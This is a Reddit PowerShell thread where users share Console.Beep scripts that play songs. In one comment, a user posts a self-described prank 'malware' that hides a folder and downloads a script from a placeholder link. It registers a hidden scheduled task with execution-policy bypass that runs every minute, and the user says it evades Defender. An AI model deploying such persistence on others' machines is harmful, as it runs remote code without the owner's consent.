r/PowerShell • u/maybe_an_username • Oct 15 '21
Some powershell beep
I'm probably not very productive today... So may be someone will find these interesting :
White stripes : 7 nation army:
[System.Console]::Beep(196,1200);
[System.Console]::Beep(196,300);
[System.Console]::Beep(220,400);
[System.Console]::Beep(196,400);
[System.Console]::Beep(174,300);
[System.Console]::Beep(155,1000);
[System.Console]::Beep(146,1000);
[System.Console]::Beep(196,1000);
[System.Console]::Beep(196,300);
[System.Console]::Beep(220,400);
[System.Console]::Beep(196,400);
[System.Console]::Beep(174,300);
[System.Console]::Beep(155,400);
[System.Console]::Beep(174,300);
[System.Console]::Beep(155,400);
[System.Console]::Beep(146,1000);Haloween:
[System.Console]::Beep(1109,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1109,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1109,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1175,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1109,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1109,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1109,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1175,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1109,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1109,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1109,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1175,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1109,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1109,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1109,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1175,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1109,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1109,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1109,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1175,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1109,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1109,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1109,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1175,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1109,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1109,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1109,200);
[System.Console]::Beep(740,200);
[System.Console]::Beep(1175,200);
[System.Console]::Beep(740,200);Enjoy the beep :)
( Edit 1&2 : formating )
35
u/anynonus Oct 15 '21
profitable? no
productive? yea
33
u/SammyGreen Oct 15 '21
I once spent a full work day writing malware where the payload created a background task that reads random cat facts aloud between 1 to 5 times an hour.
Super productive day!
30
3
u/squanchmyrick Oct 15 '21
Please share this wonderful creation
10
u/SammyGreen Oct 15 '21
I'm not going to post actual malware part since I just tested it and it still doesn't get picked up by ASR or Defender but it basically executes these two scripts:
Get-CatPayload.ps1
If (!(Test-Path $HOME\.cats\)) { New-Item -Path $HOME\.cats -ItemType Directory attrib +h $HOME\.cats Invoke-WebRequest https://LINK TO SCRIPT/Get-CatFact.ps1 ` -OutFile $HOME\.cats\Get-CatFact.ps1 } $taskName = "catzzz" $cat = "$HOME\.cats\Get-CatFact.ps1" $Action= New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-executionpolicy bypass -noprofile -nologo -noninteractive -WindowStyle Hidden -file $cat -Force" $taskTrigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) Register-ScheduledTask ` -TaskName $taskName ` -Action $Action ` -Trigger $taskTrigger ` -ForceGet-CatFact.ps1
$random = Get-Random -minimum 20 -maximum 60 Start-Sleep -s $random Add-Type -AssemblyName System.Speech $voice = New-Object System.Speech.Synthesis.SpeechSynthesizer $web = (Invoke-WebRequest -uri https://pastebin.com/raw/FwNwnj7H).tostring() -split "[`n]" $random = Get-Random $web $voice.Speak($random)3
2
u/drachenstern Oct 15 '21
Is this truly hiding the window? Because when I've tried to schedule these in the past it ALWAYS flashes the fucking window when the task runs, and the only workaround I've found to that is a .vbs script but forget if that also flashed a window on task run in the past.
2
20
u/hackoofr Oct 15 '21
Just give a try for this example (-_°)
Clear-Host
$BeepList = @(
@{ Pitch = 1059.274; Length = 300; };
@{ Pitch = 1059.274; Length = 200; };
@{ Pitch = 1188.995; Length = 500; };
@{ Pitch = 1059.274; Length = 500; };
@{ Pitch = 1413.961; Length = 500; };
@{ Pitch = 1334.601; Length = 950; };
@{ Pitch = 1059.274; Length = 300; };
@{ Pitch = 1059.274; Length = 200; };
@{ Pitch = 1188.995; Length = 500; };
@{ Pitch = 1059.274; Length = 500; };
@{ Pitch = 1587.117; Length = 500; };
@{ Pitch = 1413.961; Length = 950; };
@{ Pitch = 1059.274; Length = 300; };
@{ Pitch = 1059.274; Length = 200; };
@{ Pitch = 2118.547; Length = 500; };
@{ Pitch = 1781.479; Length = 500; };
@{ Pitch = 1413.961; Length = 500; };
@{ Pitch = 1334.601; Length = 500; };
@{ Pitch = 1188.995; Length = 500; };
@{ Pitch = 1887.411; Length = 300; };
@{ Pitch = 1887.411; Length = 200; };
@{ Pitch = 1781.479; Length = 500; };
@{ Pitch = 1413.961; Length = 500; };
@{ Pitch = 1587.117; Length = 500; };
@{ Pitch = 1413.961; Length = 900; };
);
# You can modify the variable $num_Loop for your convenience
$num_Loop = 2;
Foreach ($i in 1..$num_Loop) {
foreach ($Beep in $BeepList) {
[System.Console]::Beep($Beep['Pitch'], $Beep['Length']);
}
}3
u/user01401 Oct 15 '21
Somebody's cake day somewhere
2
u/hackoofr Oct 15 '21
Yep ! LOL somewhere and somebody have a nice cake day ! (-_°)
Thank you for your nice comment sir ! Have a nice day !1
5
u/Coding_Cactus Oct 15 '21
Here's a couple I found quite a while back, no credit to me.
Mario:
function b($a ,$b){
[console]:: beep($a, $b)
}
function s ($a){
sleep -m $a
}
b 510 100;
s 225 ;
b 380 100;
s 200 ;
b 320 100;
s 250 ;
b 440 100;
s 150 ;
b 480 80;
s 165 ;
b 450 100;
s 75 ;
b 430 100;
s 150 ;
b 380 100;
s 100 ;
b 660 80;
s 100 ;
b 760 50;
s 75 ;
b 860 100;
s 150 ;
b 700 80;
s 75 ;
b 760 50;
s 175 ;
b 660 80;
s 150 ;
b 520 80;
s 75 ;
b 580 80;
s 75 ;
b 480 80;
s 250 ;I have the full theme but it's way too long lol.
Imperial March:
[console]::beep(440 ,500)
[console]::beep(440, 500)
[console]::beep(440, 500)
[console]::beep(440, 500)
[console]::beep(349, 350)
[console]::beep(523, 150)
[console]::beep(440, 500)
[console]::beep(349, 350)
[console]::beep(523, 150)
[console]::beep(440, 1000)
[console]::beep(659, 500)
[console]::beep(659, 500)
[console]::beep(659, 500)
[console]::beep(698, 350)
[console]::beep(523, 150)
[console]::beep(415, 500)
[console]::beep(349, 350)
[console]::beep(523, 150)
[console]::beep(440, 1000)
[console]::beep(880, 500)
[console]::beep(440, 350)
[console]::beep(440, 150)
[console]::beep(880, 500)
[console]::beep(830, 250)
[console]::beep(784, 250)
[console]::beep(740, 125)
[console]::beep(698, 125)
[console]::beep(740, 250)
[console]::beep(455, 250)
[console]::beep(622, 500)
[console]::beep(587, 250)
[console]::beep(554, 250)
[console]::beep(523, 125)
[console]::beep(466, 125)
[console]::beep(523, 250)
[console]::beep(349, 125)
[console]::beep(415, 500)
[console]::beep(349, 375)
[console]::beep(440, 125)
[console]::beep(523, 500)
[console]::beep(440, 375)
[console]::beep(523, 125)
[console]::beep(659, 1000)
[console]::beep(880, 500)
[console]::beep(440, 350)
[console]::beep(440, 150)
[console]::beep(880, 500)
[console]::beep(830, 250)
[console]::beep(784, 250)
[console]::beep(740, 125)
[console]::beep(698, 125)
[console]::beep(740, 250)
[console]::beep(455, 250)
[console]::beep(622, 500)
[console]::beep(587, 250)
[console]::beep(554, 250)
[console]::beep(523, 125)
[console]::beep(466, 125)
[console]::beep(523, 250)
[console]::beep(349, 250)
[console]::beep(415, 500)
[console]::beep(349, 375)
[console]::beep(523, 125)
[console]::beep(440, 500)
[console]::beep(349, 375)
[console]::beep(261, 125)
[console]::beep(440, 1000)3
1
u/DNAScannerMC Jul 15 '22
How did you get the right pitch values? Did you just try around or use some generator?
1
u/maybe_an_username Jul 16 '22
I have used a table like this one; to get the values. With the partition of the original music, it is pretty easy to do the conversion.
3
u/Helrayzr Oct 18 '21
Here's my remix to the Halloween theme:
for($i=0;$i -le 15; $i++) {
if ($i%8 -in (6,7)) {
$note1=1046
$note2=699
$note3=1109
} else {
$note1=1109
$note2=740
$note3=1175
}
[System.Console]::Beep($note1,250);
[System.Console]::Beep($note2,250);
[System.Console]::Beep($note2,250);
[System.Console]::Beep($note1,250);
[System.Console]::Beep($note2,250);
[System.Console]::Beep($note2,250);
[System.Console]::Beep($note1,250);
[System.Console]::Beep($note2,250);
[System.Console]::Beep($note3,250);
[System.Console]::Beep($note2,250);}
Changes - Looped, increased duration (found if you set the duration a bit longer it's less likely to skip notes), and included the key shift. Enjoy!
2
u/TurnItOff_OnAgain Oct 15 '21
Hmm, most of the beeps aren't working for me. I just hear a short click.
1
2
2
u/wanderingbilby Oct 15 '21
7 nation army was surprisingly listenable haha
I don't have time to try but... i wonder if you can poly-tone this with background threads 🤣
2
u/Rizzlamuerte Oct 15 '21
If your are into making music with code I recommend you to check out Sonic Pi Pretty fun to play around with
2
u/Tethylis Oct 15 '21
Hello,
Thank you for posting this! It inspired me to write some powershell to convert my Mikrotik router "beep songs" into something that could be played on a PS console! Here is the result. It's from game that probably no one has played.
[System.Console]::Beep(660,150)
[System.Console]::Beep(660,300)
[System.Console]::Beep(660,300)
[System.Console]::Beep(510,100)
[System.Console]::Beep(660,300)
[System.Console]::Beep(770,550)
[System.Console]::Beep(380,575)
[System.Console]::Beep(510,450)
[System.Console]::Beep(380,400)
[System.Console]::Beep(320,500)
[System.Console]::Beep(440,300)
[System.Console]::Beep(480,330)
[System.Console]::Beep(450,150)
[System.Console]::Beep(430,300)
[System.Console]::Beep(380,200)
[System.Console]::Beep(660,200)
[System.Console]::Beep(760,150)
[System.Console]::Beep(860,300)
[System.Console]::Beep(700,150)
[System.Console]::Beep(760,350)
[System.Console]::Beep(660,300)
[System.Console]::Beep(520,150)
[System.Console]::Beep(580,150)
[System.Console]::Beep(480,500)
[System.Console]::Beep(510,450)
[System.Console]::Beep(380,400)
[System.Console]::Beep(320,500)
[System.Console]::Beep(440,300)
[System.Console]::Beep(480,330)
[System.Console]::Beep(450,150)
[System.Console]::Beep(430,300)
[System.Console]::Beep(380,200)
[System.Console]::Beep(660,200)
[System.Console]::Beep(760,150)
[System.Console]::Beep(860,300)
[System.Console]::Beep(700,150)
[System.Console]::Beep(760,350)
[System.Console]::Beep(660,300)
[System.Console]::Beep(520,150)
[System.Console]::Beep(580,150)
[System.Console]::Beep(480,500)
[System.Console]::Beep(500,300)
[System.Console]::Beep(760,100)
[System.Console]::Beep(720,150)
[System.Console]::Beep(680,150)
[System.Console]::Beep(620,300)
[System.Console]::Beep(650,300)
[System.Console]::Beep(380,150)
[System.Console]::Beep(430,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(430,150)
[System.Console]::Beep(500,100)
[System.Console]::Beep(570,220)
[System.Console]::Beep(500,300)
[System.Console]::Beep(760,100)
[System.Console]::Beep(720,150)
[System.Console]::Beep(680,150)
[System.Console]::Beep(620,300)
[System.Console]::Beep(650,300)
[System.Console]::Beep(1020,300)
[System.Console]::Beep(1020,150)
[System.Console]::Beep(1020,300)
[System.Console]::Beep(380,300)
[System.Console]::Beep(500,300)
[System.Console]::Beep(760,100)
[System.Console]::Beep(720,150)
[System.Console]::Beep(680,150)
[System.Console]::Beep(620,300)
[System.Console]::Beep(650,300)
[System.Console]::Beep(380,150)
[System.Console]::Beep(430,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(430,150)
[System.Console]::Beep(500,100)
[System.Console]::Beep(570,420)
[System.Console]::Beep(585,450)
[System.Console]::Beep(550,420)
[System.Console]::Beep(500,360)
[System.Console]::Beep(380,300)
[System.Console]::Beep(500,300)
[System.Console]::Beep(500,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(500,300)
[System.Console]::Beep(760,100)
[System.Console]::Beep(720,150)
[System.Console]::Beep(680,150)
[System.Console]::Beep(620,300)
[System.Console]::Beep(650,300)
[System.Console]::Beep(380,150)
[System.Console]::Beep(430,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(430,150)
[System.Console]::Beep(500,100)
[System.Console]::Beep(570,220)
[System.Console]::Beep(500,300)
[System.Console]::Beep(760,100)
[System.Console]::Beep(720,150)
[System.Console]::Beep(680,150)
[System.Console]::Beep(620,300)
[System.Console]::Beep(650,300)
[System.Console]::Beep(1020,300)
[System.Console]::Beep(1020,150)
[System.Console]::Beep(1020,300)
[System.Console]::Beep(380,300)
[System.Console]::Beep(500,300)
[System.Console]::Beep(760,100)
[System.Console]::Beep(720,150)
[System.Console]::Beep(680,150)
[System.Console]::Beep(620,300)
[System.Console]::Beep(650,300)
[System.Console]::Beep(380,150)
[System.Console]::Beep(430,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(430,150)
[System.Console]::Beep(500,100)
[System.Console]::Beep(570,420)
[System.Console]::Beep(585,450)
[System.Console]::Beep(550,420)
[System.Console]::Beep(500,360)
[System.Console]::Beep(380,300)
[System.Console]::Beep(500,300)
[System.Console]::Beep(500,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(500,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(500,350)
[System.Console]::Beep(500,150)
[System.Console]::Beep(580,350)
[System.Console]::Beep(660,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(430,150)
[System.Console]::Beep(380,600)
[System.Console]::Beep(500,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(500,350)
[System.Console]::Beep(500,150)
[System.Console]::Beep(580,150)
[System.Console]::Beep(660,550)
[System.Console]::Beep(870,325)
[System.Console]::Beep(760,600)
[System.Console]::Beep(500,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(500,350)
[System.Console]::Beep(500,150)
[System.Console]::Beep(580,350)
[System.Console]::Beep(660,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(430,150)
[System.Console]::Beep(380,600)
[System.Console]::Beep(660,150)
[System.Console]::Beep(660,300)
[System.Console]::Beep(660,300)
[System.Console]::Beep(510,100)
[System.Console]::Beep(660,300)
[System.Console]::Beep(770,550)
[System.Console]::Beep(380,575)2
u/Gaenrir Oct 16 '21
I made you guys the Tetris song but everytime I paste it in a code block it gets messy.
Any formatting tips?
1
u/Tethylis Oct 22 '21
Copy and paste the code into the comment box, then highlight it all and click the "<>" button in the editor window.1
u/Gaenrir Oct 22 '21
Edit : looks like it's still a convoluted mess.....
[console]::beep(493.9,200)start-sleep -Milliseconds 150[console]::beep(370,200)[console]::beep(392,200)[console]::beep(440,200)start-sleep -Milliseconds 150[console]::beep(392,200)[console]::beep(370,200)[console]::beep(329.6,200)start-sleep -Milliseconds 150[console]::beep(329.6,200)[console]::beep(392,200)[console]::beep(493.9,200)start-sleep -Milliseconds 150[console]::beep(440,200)[console]::beep(392,200)[console]::beep(370,200)start-sleep -Milliseconds 150[console]::beep(370,200)[console]::beep(392,200)[console]::beep(440,200)start-sleep -Milliseconds 150[console]::beep(493.9,200)start-sleep -Milliseconds 150[console]::beep(392,200)start-sleep -Milliseconds 150[console]::beep(329.6,200)start-sleep -Milliseconds 150[console]::beep(329.6,300)start-sleep -Milliseconds 500[console]::beep(440,200)[console]::beep(440,200)[console]::beep(523.2,200)[console]::beep(659.2,200)start-sleep -Milliseconds 150[console]::beep(587.3,200)[console]::beep(523.2,200)[console]::beep(493.9,200)start-sleep -Milliseconds 150[console]::beep(493.9,200)[console]::beep(392,200)[console]::beep(493.9,200)start-sleep -Milliseconds 150[console]::beep(440,200)[console]::beep(392,200)[console]::beep(370,200)start-sleep -Milliseconds 150[console]::beep(370,200)[console]::beep(392,200)[console]::beep(440,200)start-sleep -Milliseconds 150[console]::beep(493.9,200)start-sleep -Milliseconds 150[console]::beep(392,200)start-sleep -Milliseconds 150[console]::beep(329.6,200)start-sleep -Milliseconds 150[console]::beep(329.6,800)
1
u/jibbits61 Aug 30 '24
Old post, but you've insipired me - slapped this together in 20 minutes' well spent time:
# popcorn
[console]::beep(900,200)
[console]::beep(800,200)
[console]::beep(900,200)
[console]::beep(650,200)
[console]::beep(600,200)
[console]::beep(650,200)
[console]::beep(440,200)
sleep .50
[console]::beep(900,200)
[console]::beep(800,200)
[console]::beep(900,200)
[console]::beep(650,200)
[console]::beep(600,100)
[console]::beep(650,300)
[console]::beep(440,200)1
u/duanco Oct 15 '21
perfect for Friday morning! now to be productive :) have scripts running on a remote pc in our NOC time to tinker :) (yes the operators hate me)
1
1
u/AistoB Oct 15 '21
Even simpler than that I had a script that just played a meow.wav on a dashboard display in another teams office, it was pretty amusing
“Wtf was that!”
1
0
Oct 15 '21
[deleted]
3
u/ChevyNovaLN Oct 19 '21
Fixed so it's easy to copy/paste:
Function Invoke-Notes {
[CmdletBinding()]
Param (
[Parameter(Mandatory = $true)]
[string]$Notes,
[Parameter(Mandatory = $false)]
[int]$Tempo,
[Parameter(Mandatory = $false)]
[switch]$Output = $false )
$NoteTypes = [pscustomobject]@{
#W = Whole,
#H = Half,
#Q = Quarter,
#E = Eighth,
#S = Sixteenth
'W'=1600;
'W.'=2000;
'H'=800;
'H.'=1000;
'Q'=400;
'Q.'=600;
'E'=200;
'E.'=300;
'S'=100;
'S.'=150;
}
$NoteIndex = [pscustomobject]@{
'C' = @(16.35,32.7,65.41,130.8,261.6,523.3,1047,2093,4186)
'C#' = @(17.32,34.65,69.3,138.6,277.2,554.4,1109,2217,4435)
'D' = @(18.35,36.71,73.42,146.8,293.7,587.3,1175,2349,4699)
'Eb' = @(19.45,38.89,77.78,155.6,311.1,622.3,1245,2489,4978)
'E' = @(20.6,41.2,82.41,164.8,329.6,659.3,1319,2637,5274)
'F' = @(21.83,43.65,87.31,174.6,349.2,698.5,1397,2794,5588)
'F#' = @(23.12,46.25,92.5,185,370,740,1480,2960,5920)
'G' = @(24.5,49,98,196,392,784,1568,3136,6272)
'G#' = @(25.96,51.91,103.8,207.7,415.3,830.6,1661,3322,6645)
'A' = @(27.5,55,110,220,440,880,1760,3520,7040)
'Bb' = @(29.14,58.27,116.5,233.1,466.2,932.3,1865,3729,7459)
'B' = @(30.87,61.74,123.5,246.9,493.9,987.8,1976,3951,7902)
'R' = '0'
}
foreach ($Note in ($Notes -split ',')){
$Note -match '(?<Pitch>[A-G][#|b]?|[R])(?<Octave>[0-8])?(?<NoteType>[Ww|Hh|Qq|Ee|Ss][\.]?)?' | Out-Null
$Pitch = $matches['Pitch']
if($matches['NoteType'] -eq $null){
if($Tempo){ [int]$Duration = 100/$Tempo*400 }
else{[int]$Duration = 400 }
}
else
{ if($Tempo){ [int]$Duration = 100/$Tempo*($NoteTypes.$($matches['NoteType'])) }else{ [int]$Duration = $NoteTypes.$($matches['NoteType']) }
}
[int]$Frequency = switch ($matches['Octave']) {
0 {$NoteIndex.$Pitch}
# Beep() does not support any frequencies lower than 38
1 {$NoteIndex.$Pitch | Where-Object {$_ -ge 32 -and $_ -le 62}}
# using <38 for Rests
2 {$NoteIndex.$Pitch | Where-Object {$_ -ge 65 -and $_ -le 124}}
3 {$NoteIndex.$Pitch | Where-Object {$_ -ge 130 -and $_ -le 247}}
4 {$NoteIndex.$Pitch | Where-Object {$_ -ge 261 -and $_ -le 494}}
5 {$NoteIndex.$Pitch | Where-Object {$_ -ge 523 -and $_ -le 988}}
6 {$NoteIndex.$Pitch | Where-Object {$_ -ge 1047 -and $_ -le 1978}}
7 {$NoteIndex.$Pitch | Where-Object {$_ -ge 2093 -and $_ -le 3952}}
8 {$NoteIndex.$Pitch | Where-Object {$_ -ge 4186 -and $_ -le 7902}}
default {$NoteIndex.$Pitch | Where-Object {$_ -ge 523 -and $_ -le 988}} }
if($Output){
($Pitch+$matches['Octave']+$matches['NoteType']+' - '+"${Duration}"+' - '+"${Frequency}")
}
if($Pitch -eq 'R'){ Start-Sleep -Milliseconds $Duration }
else{ [console]::beep($Frequency,$Duration) }
$Note = $null
$Pitch = $null
$Duration = $null
$Frequency = $null
$Tempo = $null}
}1
u/Lee_Dailey [grin] Oct 20 '21
howdy ChevyNovaLN,
it looks like you used the New.Reddit
Inline Codebutton. it's [sometimes] 5th from the left & looks like<c>.there are a few problems with that ...
it's the wrong format [grin]
theinline codeformat is for [gasp! arg!] code that is inline with regular text.on Old.Reddit.com,
inline codeformatted text does NOT line wrap, nor does it side-scroll.on New.Reddit it shows up in that nasty magenta text color
for long-ish single lines OR for multiline code, please, use the ...
Code Block... button. it's [sometimes] the 12th one from the left & looks like an uppercase
Cin the upper left corner of a square.that will give you fully functional code formatting that works on both New.Reddit and Old.Reddit ... and aint that fugly magenta color. [grin]
take care,
lee2
u/ChevyNovaLN Oct 20 '21
All good. I will remember that for next time. It’s the first time I’ve ever posted code here
1
u/Lee_Dailey [grin] Oct 20 '21
howdy ChevyNovaLN,
kool! [grin] glad to have helped a smidgen ...
take care,
lee
8
u/Syndrome1986 Oct 15 '21
Ok but can I get that one by Rick Astly? I'm a week out from my last day and I need to leave my boss the gift that keeps on giving